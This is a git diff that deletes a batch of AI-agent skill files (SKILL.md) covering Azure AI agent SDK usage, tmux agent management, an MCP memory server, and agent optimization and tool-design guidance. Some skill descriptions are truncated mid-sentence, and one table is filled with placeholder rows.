- AzureAIAgentsProvider(credential=credential) as provider,
- ):
- agent = await provider.create_agent(
- name="StructuredAgent",
- instructions="Provide weather information in structured format.",
- response_format=WeatherResponse,
- )
-
- result = await agent.run("Weather in Seattle?")
- weather = WeatherResponse.model_validate_json(result.text)
- print(f"{weather.location}: {weather.temperature}°{weather.unit}")
-```
-
-## Provider Methods
-
-| Method | Description |
-|--------|-------------|
-| `create_agent()` | Create new agent on Azure AI service |
-| `get_agent(agent_id)` | Retrieve existing agent by ID |
-| `as_agent(sdk_agent)` | Wrap SDK Agent object (no HTTP call) |
-
-## Hosted Tools Quick Reference
-
-| Tool | Import | Purpose |
-|------|--------|---------|
-| `HostedCodeInterpreterTool` | `from agent_framework import HostedCodeInterpreterTool` | Execute Python code |
-| `HostedFileSearchTool` | `from agent_framework import HostedFileSearchTool` | Search vector stores |
-| `HostedWebSearchTool` | `from agent_framework import HostedWebSearchTool` | Bing web search |
-| `HostedMCPTool` | `from agent_framework import HostedMCPTool` | Service-managed MCP |
-| `MCPStreamableHTTPTool` | `from agent_framework import MCPStreamableHTTPTool` | Client-managed MCP |
-
-## Complete Example
-
-```python
-import asyncio
-from typing import Annotated
-from pydantic import BaseModel, Field
-from agent_framework import (
- HostedCodeInterpreterTool,
- HostedWebSearchTool,
- MCPStreamableHTTPTool,
-)
-from agent_framework.azure import AzureAIAgentsProvider
-from azure.identity.aio import AzureCliCredential
-
-
-def get_weather(
- location: Annotated[str, Field(description="City name")],
-) -> str:
- """Get weather for a location."""
- return f"Weather in {location}: 72°F, sunny"
-
-
-class AnalysisResult(BaseModel):
- summary: str
- key_findings: list[str]
- confidence: float
-
-
-async def main():
- async with (
- AzureCliCredential() as credential,
- MCPStreamableHTTPTool(
- name="Docs MCP",
- url="https://learn.microsoft.com/api/mcp",
- ) as mcp_tool,
- AzureAIAgentsProvider(credential=credential) as provider,
- ):
- agent = await provider.create_agent(
- name="ResearchAssistant",
- instructions="You are a research assistant with multiple capabilities.",
- tools=[
- get_weather,
- HostedCodeInterpreterTool(),
- HostedWebSearchTool(name="Bing"),
- mcp_tool,
- ],
- )
-
- thread = agent.get_new_thread()
-
- # Non-streaming
- result = await agent.run(
- "Search for Python best practices and summarize",
- thread=thread,
- )
- print(f"Response: {result.text}")
-
- # Streaming
- print("\nStreaming: ", end="")
- async for chunk in agent.run_stream("Continue with examples", thread=thread):
- if chunk.text:
- print(chunk.text, end="", flush=True)
- print()
-
- # Structured output
- result = await agent.run(
- "Analyze findings",
- thread=thread,
- response_format=AnalysisResult,
- )
- analysis = AnalysisResult.model_validate_json(result.text)
- print(f"\nConfidence: {analysis.confidence}")
-
-
-if __name__ == "__main__":
- asyncio.run(main())
-```
-
-## Conventions
-
-- Always use async context managers: `async with provider:`
-- Pass functions directly to `tools=` parameter (auto-converted to AIFunction)
-- Use `Annotated[type, Field(description=...)]` for function parameters
-- Use `get_new_thread()` for multi-turn conversations
-- Prefer `HostedMCPTool` for service-managed MCP, `MCPStreamableHTTPTool` for client-managed
-
-## Reference Files
-
-- references/tools.md: Detailed hosted tool patterns
-- references/mcp.md: MCP integration (hosted + local)
-- references/threads.md: Thread and conversation management
-- references/advanced.md: OpenAPI, citations, structured outputs
-
-## When to Use
-This skill is applicable to execute the workflow or actions described in the overview.
diff --git a/web-app/public/skills/agent-manager-skill/SKILL.md b/web-app/public/skills/agent-manager-skill/SKILL.md
deleted file mode 100644
index f898fca1..00000000
--- a/web-app/public/skills/agent-manager-skill/SKILL.md
+++ /dev/null
@@ -1,43 +0,0 @@
----
-name: agent-manager-skill
-description: "Manage multiple local CLI agents via tmux sessions (start/stop/monitor/assign) with cron-friendly scheduling."
-risk: unknown
-source: community
-date_added: "2026-02-27"
----
-
-# Agent Manager Skill
-
-## When to use
-
-Use this skill when you need to:
-
-- run multiple local CLI agents in parallel (separate tmux sessions)
-- start/stop agents and tail their logs
-- assign tasks to agents and monitor output
-- schedule recurring agent work (cron)
-
-## Prerequisites
-
-Install `agent-manager-skill` in your workspace:
-
-```bash
-git clone https://github.com/fractalmind-ai/agent-manager-skill.git
-```
-
-## Common commands
-
-```bash
-python3 agent-manager/scripts/main.py doctor
-python3 agent-manager/scripts/main.py list
-python3 agent-manager/scripts/main.py start EMP_0001
-python3 agent-manager/scripts/main.py monitor EMP_0001 --follow
-python3 agent-manager/scripts/main.py assign EMP_0002 <<'EOF'
-Follow teams/fractalmind-ai-maintenance.md Workflow
-EOF
-```
-
-## Notes
-
-- Requires `tmux` and `python3`.
-- Agents are configured under an `agents/` directory (see the repo for examples).
diff --git a/web-app/public/skills/agent-memory-mcp/SKILL.md b/web-app/public/skills/agent-memory-mcp/SKILL.md
deleted file mode 100644
index 224a5095..00000000
--- a/web-app/public/skills/agent-memory-mcp/SKILL.md
+++ /dev/null
@@ -1,87 +0,0 @@
----
-name: agent-memory-mcp
-description: "A hybrid memory system that provides persistent, searchable knowledge management for AI agents (Architecture, Patterns, Decisions)."
-risk: unknown
-source: community
-date_added: "2026-02-27"
----
-
-# Agent Memory Skill
-
-This skill provides a persistent, searchable memory bank that automatically syncs with project documentation. It runs as an MCP server to allow reading/writing/searching of long-term memories.
-
-## Prerequisites
-
-- Node.js (v18+)
-
-## Setup
-
-1. **Clone the Repository**:
- Clone the `agentMemory` project into your agent's workspace or a parallel directory:
-
- ```bash
- git clone https://github.com/webzler/agentMemory.git .agent/skills/agent-memory
- ```
-
-2. **Install Dependencies**:
-
- ```bash
- cd .agent/skills/agent-memory
- npm install
- npm run compile
- ```
-
-3. **Start the MCP Server**:
- Use the helper script to activate the memory bank for your current project:
-
- ```bash
- npm run start-server
- ```
-
- _Example for current directory:_
-
- ```bash
- npm run start-server my-project $(pwd)
- ```
-
-## Capabilities (MCP Tools)
-
-### `memory_search`
-
-Search for memories by query, type, or tags.
-
-- **Args**: `query` (string), `type?` (string), `tags?` (string[])
-- **Usage**: "Find all authentication patterns" -> `memory_search({ query: "authentication", type: "pattern" })`
-
-### `memory_write`
-
-Record new knowledge or decisions.
-
-- **Args**: `key` (string), `type` (string), `content` (string), `tags?` (string[])
-- **Usage**: "Save this architecture decision" -> `memory_write({ key: "auth-v1", type: "decision", content: "..." })`
-
-### `memory_read`
-
-Retrieve specific memory content by key.
-
-- **Args**: `key` (string)
-- **Usage**: "Get the auth design" -> `memory_read({ key: "auth-v1" })`
-
-### `memory_stats`
-
-View analytics on memory usage.
-
-- **Usage**: "Show memory statistics" -> `memory_stats({})`
-
-## Dashboard
-
-This skill includes a standalone dashboard to visualize memory usage.
-
-```bash
-npm run start-dashboard
-```
-
-Access at: `http://localhost:3333`
-
-## When to Use
-This skill is applicable to execute the workflow or actions described in the overview.
diff --git a/web-app/public/skills/agent-memory-systems/SKILL.md b/web-app/public/skills/agent-memory-systems/SKILL.md
deleted file mode 100644
index 0d6e1e2a..00000000
--- a/web-app/public/skills/agent-memory-systems/SKILL.md
+++ /dev/null
@@ -1,72 +0,0 @@
----
-name: agent-memory-systems
-description: "Memory is the cornerstone of intelligent agents. Without it, every interaction starts from zero. This skill covers the architecture of agent memory: short-term (context window), long-term (vector s..."
-risk: unknown
-source: "vibeship-spawner-skills (Apache 2.0)"
-date_added: "2026-02-27"
----
-
-# Agent Memory Systems
-
-You are a cognitive architect who understands that memory makes agents intelligent.
-You've built memory systems for agents handling millions of interactions. You know
-that the hard part isn't storing - it's retrieving the right memory at the right time.
-
-Your core insight: Memory failures look like intelligence failures. When an agent
-"forgets" or gives inconsistent answers, it's almost always a retrieval problem,
-not a storage problem. You obsess over chunking strategies, embedding quality,
-and
-
-## Capabilities
-
-- agent-memory
-- long-term-memory
-- short-term-memory
-- working-memory
-- episodic-memory
-- semantic-memory
-- procedural-memory
-- memory-retrieval
-- memory-formation
-- memory-decay
-
-## Patterns
-
-### Memory Type Architecture
-
-Choosing the right memory type for different information
-
-### Vector Store Selection Pattern
-
-Choosing the right vector database for your use case
-
-### Chunking Strategy Pattern
-
-Breaking documents into retrievable chunks
-
-## Anti-Patterns
-
-### ❌ Store Everything Forever
-
-### ❌ Chunk Without Testing Retrieval
-
-### ❌ Single Memory Type for All Data
-
-## ⚠️ Sharp Edges
-
-| Issue | Severity | Solution |
-|-------|----------|----------|
-| Issue | critical | ## Contextual Chunking (Anthropic's approach) |
-| Issue | high | ## Test different sizes |
-| Issue | high | ## Always filter by metadata first |
-| Issue | high | ## Add temporal scoring |
-| Issue | medium | ## Detect conflicts on storage |
-| Issue | medium | ## Budget tokens for different memory types |
-| Issue | medium | ## Track embedding model in metadata |
-
-## Related Skills
-
-Works well with: `autonomous-agents`, `multi-agent-orchestration`, `llm-architect`, `agent-tool-builder`
-
-## When to Use
-This skill is applicable to execute the workflow or actions described in the overview.
diff --git a/web-app/public/skills/agent-orchestration-improve-agent/SKILL.md b/web-app/public/skills/agent-orchestration-improve-agent/SKILL.md
deleted file mode 100644
index b7eb4207..00000000
--- a/web-app/public/skills/agent-orchestration-improve-agent/SKILL.md
+++ /dev/null
@@ -1,352 +0,0 @@
----
-name: agent-orchestration-improve-agent
-description: "Systematic improvement of existing agents through performance analysis, prompt engineering, and continuous iteration."
-risk: unknown
-source: community
-date_added: "2026-02-27"
----
-
-# Agent Performance Optimization Workflow
-
-Systematic improvement of existing agents through performance analysis, prompt engineering, and continuous iteration.
-
-[Extended thinking: Agent optimization requires a data-driven approach combining performance metrics, user feedback analysis, and advanced prompt engineering techniques. Success depends on systematic evaluation, targeted improvements, and rigorous testing with rollback capabilities for production safety.]
-
-## Use this skill when
-
-- Improving an existing agent's performance or reliability
-- Analyzing failure modes, prompt quality, or tool usage
-- Running structured A/B tests or evaluation suites
-- Designing iterative optimization workflows for agents
-
-## Do not use this skill when
-
-- You are building a brand-new agent from scratch
-- There are no metrics, feedback, or test cases available
-- The task is unrelated to agent performance or prompt quality
-
-## Instructions
-
-1. Establish baseline metrics and collect representative examples.
-2. Identify failure modes and prioritize high-impact fixes.
-3. Apply prompt and workflow improvements with measurable goals.
-4. Validate with tests and roll out changes in controlled stages.
-
-## Safety
-
-- Avoid deploying prompt changes without regression testing.
-- Roll back quickly if quality or safety metrics regress.
-
-## Phase 1: Performance Analysis and Baseline Metrics
-
-Comprehensive analysis of agent performance using context-manager for historical data collection.
-
-### 1.1 Gather Performance Data
-
-```
-Use: context-manager
-Command: analyze-agent-performance $ARGUMENTS --days 30
-```
-
-Collect metrics including:
-
-- Task completion rate (successful vs failed tasks)
-- Response accuracy and factual correctness
-- Tool usage efficiency (correct tools, call frequency)
-- Average response time and token consumption
-- User satisfaction indicators (corrections, retries)
-- Hallucination incidents and error patterns
-
-### 1.2 User Feedback Pattern Analysis
-
-Identify recurring patterns in user interactions:
-
-- **Correction patterns**: Where users consistently modify outputs
-- **Clarification requests**: Common areas of ambiguity
-- **Task abandonment**: Points where users give up
-- **Follow-up questions**: Indicators of incomplete responses
-- **Positive feedback**: Successful patterns to preserve
-
-### 1.3 Failure Mode Classification
-
-Categorize failures by root cause:
-
-- **Instruction misunderstanding**: Role or task confusion
-- **Output format errors**: Structure or formatting issues
-- **Context loss**: Long conversation degradation
-- **Tool misuse**: Incorrect or inefficient tool selection
-- **Constraint violations**: Safety or business rule breaches
-- **Edge case handling**: Unusual input scenarios
-
-### 1.4 Baseline Performance Report
-
-Generate quantitative baseline metrics:
-
-```
-Performance Baseline:
-- Task Success Rate: [X%]
-- Average Corrections per Task: [Y]
-- Tool Call Efficiency: [Z%]
-- User Satisfaction Score: [1-10]
-- Average Response Latency: [Xms]
-- Token Efficiency Ratio: [X:Y]
-```
-
-## Phase 2: Prompt Engineering Improvements
-
-Apply advanced prompt optimization techniques using prompt-engineer agent.
-
-### 2.1 Chain-of-Thought Enhancement
-
-Implement structured reasoning patterns:
-
-```
-Use: prompt-engineer
-Technique: chain-of-thought-optimization
-```
-
-- Add explicit reasoning steps: "Let's approach this step-by-step..."
-- Include self-verification checkpoints: "Before proceeding, verify that..."
-- Implement recursive decomposition for complex tasks
-- Add reasoning trace visibility for debugging
-
-### 2.2 Few-Shot Example Optimization
-
-Curate high-quality examples from successful interactions:
-
-- **Select diverse examples** covering common use cases
-- **Include edge cases** that previously failed
-- **Show both positive and negative examples** with explanations
-- **Order examples** from simple to complex
-- **Annotate examples** with key decision points
-
-Example structure:
-
-```
-Good Example:
-Input: [User request]
-Reasoning: [Step-by-step thought process]
-Output: [Successful response]
-Why this works: [Key success factors]
-
-Bad Example:
-Input: [Similar request]
-Output: [Failed response]
-Why this fails: [Specific issues]
-Correct approach: [Fixed version]
-```
-
-### 2.3 Role Definition Refinement
-
-Strengthen agent identity and capabilities:
-
-- **Core purpose**: Clear, single-sentence mission
-- **Expertise domains**: Specific knowledge areas
-- **Behavioral traits**: Personality and interaction style
-- **Tool proficiency**: Available tools and when to use them
-- **Constraints**: What the agent should NOT do
-- **Success criteria**: How to measure task completion
-
-### 2.4 Constitutional AI Integration
-
-Implement self-correction mechanisms:
-
-```
-Constitutional Principles:
-1. Verify factual accuracy before responding
-2. Self-check for potential biases or harmful content
-3. Validate output format matches requirements
-4. Ensure response completeness
-5. Maintain consistency with previous responses
-```
-
-Add critique-and-revise loops:
-
-- Initial response generation
-- Self-critique against principles
-- Automatic revision if issues detected
-- Final validation before output
-
-### 2.5 Output Format Tuning
-
-Optimize response structure:
-
-- **Structured templates** for common tasks
-- **Dynamic formatting** based on complexity
-- **Progressive disclosure** for detailed information
-- **Markdown optimization** for readability
-- **Code block formatting** with syntax highlighting
-- **Table and list generation** for data presentation
-
-## Phase 3: Testing and Validation
-
-Comprehensive testing framework with A/B comparison.
-
-### 3.1 Test Suite Development
-
-Create representative test scenarios:
-
-```
-Test Categories:
-1. Golden path scenarios (common successful cases)
-2. Previously failed tasks (regression testing)
-3. Edge cases and corner scenarios
-4. Stress tests (complex, multi-step tasks)
-5. Adversarial inputs (potential breaking points)
-6. Cross-domain tasks (combining capabilities)
-```
-
-### 3.2 A/B Testing Framework
-
-Compare original vs improved agent:
-
-```
-Use: parallel-test-runner
-Config:
- - Agent A: Original version
- - Agent B: Improved version
- - Test set: 100 representative tasks
- - Metrics: Success rate, speed, token usage
- - Evaluation: Blind human review + automated scoring
-```
-
-Statistical significance testing:
-
-- Minimum sample size: 100 tasks per variant
-- Confidence level: 95% (p < 0.05)
-- Effect size calculation (Cohen's d)
-- Power analysis for future tests
-
-### 3.3 Evaluation Metrics
-
-Comprehensive scoring framework:
-
-**Task-Level Metrics:**
-
-- Completion rate (binary success/failure)
-- Correctness score (0-100% accuracy)
-- Efficiency score (steps taken vs optimal)
-- Tool usage appropriateness
-- Response relevance and completeness
-
-**Quality Metrics:**
-
-- Hallucination rate (factual errors per response)
-- Consistency score (alignment with previous responses)
-- Format compliance (matches specified structure)
-- Safety score (constraint adherence)
-- User satisfaction prediction
-
-**Performance Metrics:**
-
-- Response latency (time to first token)
-- Total generation time
-- Token consumption (input + output)
-- Cost per task (API usage fees)
-- Memory/context efficiency
-
-### 3.4 Human Evaluation Protocol
-
-Structured human review process:
-
-- Blind evaluation (evaluators don't know version)
-- Standardized rubric with clear criteria
-- Multiple evaluators per sample (inter-rater reliability)
-- Qualitative feedback collection
-- Preference ranking (A vs B comparison)
-
-## Phase 4: Version Control and Deployment
-
-Safe rollout with monitoring and rollback capabilities.
-
-### 4.1 Version Management
-
-Systematic versioning strategy:
-
-```
-Version Format: agent-name-v[MAJOR].[MINOR].[PATCH]
-Example: customer-support-v2.3.1
-
-MAJOR: Significant capability changes
-MINOR: Prompt improvements, new examples
-PATCH: Bug fixes, minor adjustments
-```
-
-Maintain version history:
-
-- Git-based prompt storage
-- Changelog with improvement details
-- Performance metrics per version
-- Rollback procedures documented
-
-### 4.2 Staged Rollout
-
-Progressive deployment strategy:
-
-1. **Alpha testing**: Internal team validation (5% traffic)
-2. **Beta testing**: Selected users (20% traffic)
-3. **Canary release**: Gradual increase (20% → 50% → 100%)
-4. **Full deployment**: After success criteria met
-5. **Monitoring period**: 7-day observation window
-
-### 4.3 Rollback Procedures
-
-Quick recovery mechanism:
-
-```
-Rollback Triggers:
-- Success rate drops >10% from baseline
-- Critical errors increase >5%
-- User complaints spike
-- Cost per task increases >20%
-- Safety violations detected
-
-Rollback Process:
-1. Detect issue via monitoring
-2. Alert team immediately
-3. Switch to previous stable version
-4. Analyze root cause
-5. Fix and re-test before retry
-```
-
-### 4.4 Continuous Monitoring
-
-Real-time performance tracking:
-
-- Dashboard with key metrics
-- Anomaly detection alerts
-- User feedback collection
-- Automated regression testing
-- Weekly performance reports
-
-## Success Criteria
-
-Agent improvement is successful when:
-
-- Task success rate improves by ≥15%
-- User corrections decrease by ≥25%
-- No increase in safety violations
-- Response time remains within 10% of baseline
-- Cost per task doesn't increase >5%
-- Positive user feedback increases
-
-## Post-Deployment Review
-
-After 30 days of production use:
-
-1. Analyze accumulated performance data
-2. Compare against baseline and targets
-3. Identify new improvement opportunities
-4. Document lessons learned
-5. Plan next optimization cycle
-
-## Continuous Improvement Cycle
-
-Establish regular improvement cadence:
-
-- **Weekly**: Monitor metrics and collect feedback
-- **Monthly**: Analyze patterns and plan improvements
-- **Quarterly**: Major version updates with new capabilities
-- **Annually**: Strategic review and architecture updates
-
-Remember: Agent optimization is an iterative process. Each cycle builds upon previous learnings, gradually improving performance while maintaining stability and safety.
diff --git a/web-app/public/skills/agent-orchestration-multi-agent-optimize/SKILL.md b/web-app/public/skills/agent-orchestration-multi-agent-optimize/SKILL.md
deleted file mode 100644
index bd4e5184..00000000
--- a/web-app/public/skills/agent-orchestration-multi-agent-optimize/SKILL.md
+++ /dev/null
@@ -1,242 +0,0 @@
----
-name: agent-orchestration-multi-agent-optimize
-description: "Optimize multi-agent systems with coordinated profiling, workload distribution, and cost-aware orchestration. Use when improving agent performance, throughput, or reliability."
-risk: unknown
-source: community
-date_added: "2026-02-27"
----
-
-# Multi-Agent Optimization Toolkit
-
-## Use this skill when
-
-- Improving multi-agent coordination, throughput, or latency
-- Profiling agent workflows to identify bottlenecks
-- Designing orchestration strategies for complex workflows
-- Optimizing cost, context usage, or tool efficiency
-
-## Do not use this skill when
-
-- You only need to tune a single agent prompt
-- There are no measurable metrics or evaluation data
-- The task is unrelated to multi-agent orchestration
-
-## Instructions
-
-1. Establish baseline metrics and target performance goals.
-2. Profile agent workloads and identify coordination bottlenecks.
-3. Apply orchestration changes and cost controls incrementally.
-4. Validate improvements with repeatable tests and rollbacks.
-
-## Safety
-
-- Avoid deploying orchestration changes without regression testing.
-- Roll out changes gradually to prevent system-wide regressions.
-
-## Role: AI-Powered Multi-Agent Performance Engineering Specialist
-
-### Context
-
-The Multi-Agent Optimization Tool is an advanced AI-driven framework designed to holistically improve system performance through intelligent, coordinated agent-based optimization. Leveraging cutting-edge AI orchestration techniques, this tool provides a comprehensive approach to performance engineering across multiple domains.
-
-### Core Capabilities
-
-- Intelligent multi-agent coordination
-- Performance profiling and bottleneck identification
-- Adaptive optimization strategies
-- Cross-domain performance optimization
-- Cost and efficiency tracking
-
-## Arguments Handling
-
-The tool processes optimization arguments with flexible input parameters:
-
-- `$TARGET`: Primary system/application to optimize
-- `$PERFORMANCE_GOALS`: Specific performance metrics and objectives
-- `$OPTIMIZATION_SCOPE`: Depth of optimization (quick-win, comprehensive)
-- `$BUDGET_CONSTRAINTS`: Cost and resource limitations
-- `$QUALITY_METRICS`: Performance quality thresholds
-
-## 1. Multi-Agent Performance Profiling
-
-### Profiling Strategy
-
-- Distributed performance monitoring across system layers
-- Real-time metrics collection and analysis
-- Continuous performance signature tracking
-
-#### Profiling Agents
-
-1. **Database Performance Agent**
- - Query execution time analysis
- - Index utilization tracking
- - Resource consumption monitoring
-
-2. **Application Performance Agent**
- - CPU and memory profiling
- - Algorithmic complexity assessment
- - Concurrency and async operation analysis
-
-3. **Frontend Performance Agent**
- - Rendering performance metrics
- - Network request optimization
- - Core Web Vitals monitoring
-
-### Profiling Code Example
-
-```python
-def multi_agent_profiler(target_system):
- agents = [
- DatabasePerformanceAgent(target_system),
- ApplicationPerformanceAgent(target_system),
- FrontendPerformanceAgent(target_system)
- ]
-
- performance_profile = {}
- for agent in agents:
- performance_profile[agent.__class__.__name__] = agent.profile()
-
- return aggregate_performance_metrics(performance_profile)
-```
-
-## 2. Context Window Optimization
-
-### Optimization Techniques
-
-- Intelligent context compression
-- Semantic relevance filtering
-- Dynamic context window resizing
-- Token budget management
-
-### Context Compression Algorithm
-
-```python
-def compress_context(context, max_tokens=4000):
- # Semantic compression using embedding-based truncation
- compressed_context = semantic_truncate(
- context,
- max_tokens=max_tokens,
- importance_threshold=0.7
- )
- return compressed_context
-```
-
-## 3. Agent Coordination Efficiency
-
-### Coordination Principles
-
-- Parallel execution design
-- Minimal inter-agent communication overhead
-- Dynamic workload distribution
-- Fault-tolerant agent interactions
-
-### Orchestration Framework
-
-```python
-class MultiAgentOrchestrator:
- def __init__(self, agents):
- self.agents = agents
- self.execution_queue = PriorityQueue()
- self.performance_tracker = PerformanceTracker()
-
- def optimize(self, target_system):
- # Parallel agent execution with coordinated optimization
- with concurrent.futures.ThreadPoolExecutor() as executor:
- futures = {
- executor.submit(agent.optimize, target_system): agent
- for agent in self.agents
- }
-
- for future in concurrent.futures.as_completed(futures):
- agent = futures[future]
- result = future.result()
- self.performance_tracker.log(agent, result)
-```
-
-## 4. Parallel Execution Optimization
-
-### Key Strategies
-
-- Asynchronous agent processing
-- Workload partitioning
-- Dynamic resource allocation
-- Minimal blocking operations
-
-## 5. Cost Optimization Strategies
-
-### LLM Cost Management
-
-- Token usage tracking
-- Adaptive model selection
-- Caching and result reuse
-- Efficient prompt engineering
-
-### Cost Tracking Example
-
-```python
-class CostOptimizer:
- def __init__(self):
- self.token_budget = 100000 # Monthly budget
- self.token_usage = 0
- self.model_costs = {
- 'gpt-5': 0.03,
- 'claude-4-sonnet': 0.015,
- 'claude-4-haiku': 0.0025
- }
-
- def select_optimal_model(self, complexity):
- # Dynamic model selection based on task complexity and budget
- pass
-```
-
-## 6. Latency Reduction Techniques
-
-### Performance Acceleration
-
-- Predictive caching
-- Pre-warming agent contexts
-- Intelligent result memoization
-- Reduced round-trip communication
-
-## 7. Quality vs Speed Tradeoffs
-
-### Optimization Spectrum
-
-- Performance thresholds
-- Acceptable degradation margins
-- Quality-aware optimization
-- Intelligent compromise selection
-
-## 8. Monitoring and Continuous Improvement
-
-### Observability Framework
-
-- Real-time performance dashboards
-- Automated optimization feedback loops
-- Machine learning-driven improvement
-- Adaptive optimization strategies
-
-## Reference Workflows
-
-### Workflow 1: E-Commerce Platform Optimization
-
-1. Initial performance profiling
-2. Agent-based optimization
-3. Cost and performance tracking
-4. Continuous improvement cycle
-
-### Workflow 2: Enterprise API Performance Enhancement
-
-1. Comprehensive system analysis
-2. Multi-layered agent optimization
-3. Iterative performance refinement
-4. Cost-efficient scaling strategy
-
-## Key Considerations
-
-- Always measure before and after optimization
-- Maintain system stability during optimization
-- Balance performance gains with resource consumption
-- Implement gradual, reversible changes
-
-Target Optimization: $ARGUMENTS
diff --git a/web-app/public/skills/agent-tool-builder/SKILL.md b/web-app/public/skills/agent-tool-builder/SKILL.md
deleted file mode 100644
index 06f5a08e..00000000
--- a/web-app/public/skills/agent-tool-builder/SKILL.md
+++ /dev/null
@@ -1,58 +0,0 @@
----
-name: agent-tool-builder
-description: "Tools are how AI agents interact with the world. A well-designed tool is the difference between an agent that works and one that hallucinates, fails silently, or costs 10x more tokens than necessar..."
-risk: unknown
-source: "vibeship-spawner-skills (Apache 2.0)"
-date_added: "2026-02-27"
----
-
-# Agent Tool Builder
-
-You are an expert in the interface between LLMs and the outside world.
-You've seen tools that work beautifully and tools that cause agents to
-hallucinate, loop, or fail silently. The difference is almost always
-in the design, not the implementation.
-
-Your core insight: The LLM never sees your code. It only sees the schema
-and description. A perfectly implemented tool with a vague description
-will fail. A simple tool with crystal-clear documentation will succeed.
-
-You push for explicit error hand
-
-## Capabilities
-
-- agent-tools
-- function-calling
-- tool-schema-design
-- mcp-tools
-- tool-validation
-- tool-error-handling
-
-## Patterns
-
-### Tool Schema Design
-
-Creating clear, unambiguous JSON Schema for tools
-
-### Tool with Input Examples
-
-Using examples to guide LLM tool usage
-
-### Tool Error Handling
-
-Returning errors that help the LLM recover
-
-## Anti-Patterns
-
-### ❌ Vague Descriptions
-
-### ❌ Silent Failures
-
-### ❌ Too Many Tools
-
-## Related Skills
-
-Works well with: `multi-agent-orchestration`, `api-designer`, `llm-architect`, `backend`
-
-## When to Use
-This skill is applicable to execute the workflow or actions described in the overview.
diff --git a/web-app/public/skills/agentfolio/SKILL.md b/web-app/public/skills/agentfolio/SKILL.md
deleted file mode 100644
index 088e63fc..00000000
--- a/web-app/public/skills/agentfolio/SKILL.md
+++ /dev/null
@@ -1,97 +0,0 @@
----
-name: agentfolio
-description: "Skill for discovering and researching autonomous AI agents, tools, and ecosystems using the AgentFolio directory."
-risk: unknown
-source: agentfolio.io
-date_added: "2026-02-27"
----
-
-# AgentFolio
-
-**Role**: Autonomous Agent Discovery Guide
-
-Use this skill when you want to **discover, compare, and research autonomous AI agents** across ecosystems.
-AgentFolio is a curated directory at https://agentfolio.io that tracks agent frameworks, products, and tools.
-
-This skill helps you:
-
-- Find existing agents before building your own from scratch.
-- Map the landscape of agent frameworks and hosted products.
-- Collect concrete examples and benchmarks for agent capabilities.
-
-## Capabilities
-
-- Discover autonomous AI agents, frameworks, and tools by use case.
-- Compare agents by capabilities, target users, and integration surfaces.
-- Identify gaps in the market or inspiration for new skills/workflows.
-- Gather example agent behavior and UX patterns for your own designs.
-- Track emerging trends in agent architectures and deployments.
-
-## How to Use AgentFolio
-
-1. **Open the directory**
- - Visit `https://agentfolio.io` in your browser.
- - Optionally filter by category (e.g., Dev Tools, Ops, Marketing, Productivity).
-
-2. **Search by intent**
- - Start from the problem you want to solve:
- - “customer support agents”
- - “autonomous coding agents”
- - “research / analysis agents”
- - Use keywords in the AgentFolio search bar that match your domain or workflow.
-
-3. **Evaluate candidates**
- - For each interesting agent, capture:
- - **Core promise** (what outcome it automates).
- - **Input / output shape** (APIs, UI, data sources).
- - **Autonomy model** (one-shot, multi-step, tool-using, human-in-the-loop).
- - **Deployment model** (SaaS, self-hosted, browser, IDE, etc.).
-
-4. **Synthesize insights**
- - Use findings to:
- - Decide whether to integrate an existing agent vs. build your own.
- - Borrow successful UX and safety patterns.
- - Position your own agent skills and workflows relative to the ecosystem.
-
-## Example Workflows
-
-### 1) Landscape scan before building a new agent
-
-- Define the problem: “autonomous test failure triage for CI pipelines”.
-- Use AgentFolio to search for:
- - “testing agent”, “CI agent”, “DevOps assistant”, “incident triage”.
-- For each relevant agent:
- - Note supported platforms (GitHub, GitLab, Jenkins, etc.).
- - Capture how they explain autonomy and safety boundaries.
- - Record pricing/licensing constraints if you plan to adopt instead of build.
-
-### 2) Competitive and inspiration research for a new skill
-
-- If you plan to add a new skill (e.g., observability agent, security agent):
- - Use AgentFolio to find similar agents and features.
- - Extract 3–5 concrete patterns you want to emulate or avoid.
- - Translate those patterns into clear requirements for your own skill.
-
-### 3) Vendor shortlisting
-
-- When choosing between multiple agent vendors:
- - Use AgentFolio entries as a neutral directory.
- - Build a comparison table (columns: capabilities, integrations, pricing, trust & security).
- - Use that table to drive a more formal evaluation or proof-of-concept.
-
-## Example Prompts
-
-Use these prompts when working with this skill in an AI coding agent:
-
-- “Use AgentFolio to find 3 autonomous AI agents focused on code review. For each, summarize the core value prop, supported languages, and how they integrate into developer workflows.”
-- “Scan AgentFolio for agents that help with customer support triage. List the top options, their target customer size (SMB vs. enterprise), and any notable UX patterns.”
-- “Before we build our own research assistant, use AgentFolio to map existing research / analysis agents and highlight gaps we could fill.”
-
-## When to Use
-
-This skill is applicable when you need to **discover or compare autonomous AI agents** instead of building in a vacuum:
-
-- At the start of a new agent or workflow project.
-- When evaluating vendors or tools to integrate.
-- When you want inspiration or best practices from existing agent products.
-
diff --git a/web-app/public/skills/agents-v2-py/SKILL.md b/web-app/public/skills/agents-v2-py/SKILL.md
deleted file mode 100644
index aec4c021..00000000
--- a/web-app/public/skills/agents-v2-py/SKILL.md
+++ /dev/null
@@ -1,326 +0,0 @@
----
-name: agents-v2-py
-description: "Build container-based Foundry Agents with Azure AI Projects SDK (ImageBasedHostedAgentDefinition). Use when creating hosted agents with custom container images in Azure AI Foundry."
-risk: unknown
-source: community
-date_added: "2026-02-27"
----
-
-# Azure AI Hosted Agents (Python)
-
-Build container-based hosted agents using `ImageBasedHostedAgentDefinition` from the Azure AI Projects SDK.
-
-## Installation
-
-```bash
-pip install azure-ai-projects>=2.0.0b3 azure-identity
-```
-
-**Minimum SDK Version:** `2.0.0b3` or later required for hosted agent support.
-
-## Environment Variables
-
-```bash
-AZURE_AI_PROJECT_ENDPOINT=https://.services.ai.azure.com/api/projects/
-```
-
-## Prerequisites
-
-Before creating hosted agents:
-
-1. **Container Image** - Build and push to Azure Container Registry (ACR)
-2. **ACR Pull Permissions** - Grant your project's managed identity `AcrPull` role on the ACR
-3. **Capability Host** - Account-level capability host with `enablePublicHostingEnvironment=true`
-4. **SDK Version** - Ensure `azure-ai-projects>=2.0.0b3`
-
-## Authentication
-
-Always use `DefaultAzureCredential`:
-
-```python
-from azure.identity import DefaultAzureCredential
-from azure.ai.projects import AIProjectClient
-
-credential = DefaultAzureCredential()
-client = AIProjectClient(
- endpoint=os.environ["AZURE_AI_PROJECT_ENDPOINT"],
- credential=credential
-)
-```
-
-## Core Workflow
-
-### 1. Imports
-
-```python
-import os
-from azure.identity import DefaultAzureCredential
-from azure.ai.projects import AIProjectClient
-from azure.ai.projects.models import (
- ImageBasedHostedAgentDefinition,
- ProtocolVersionRecord,
- AgentProtocol,
-)
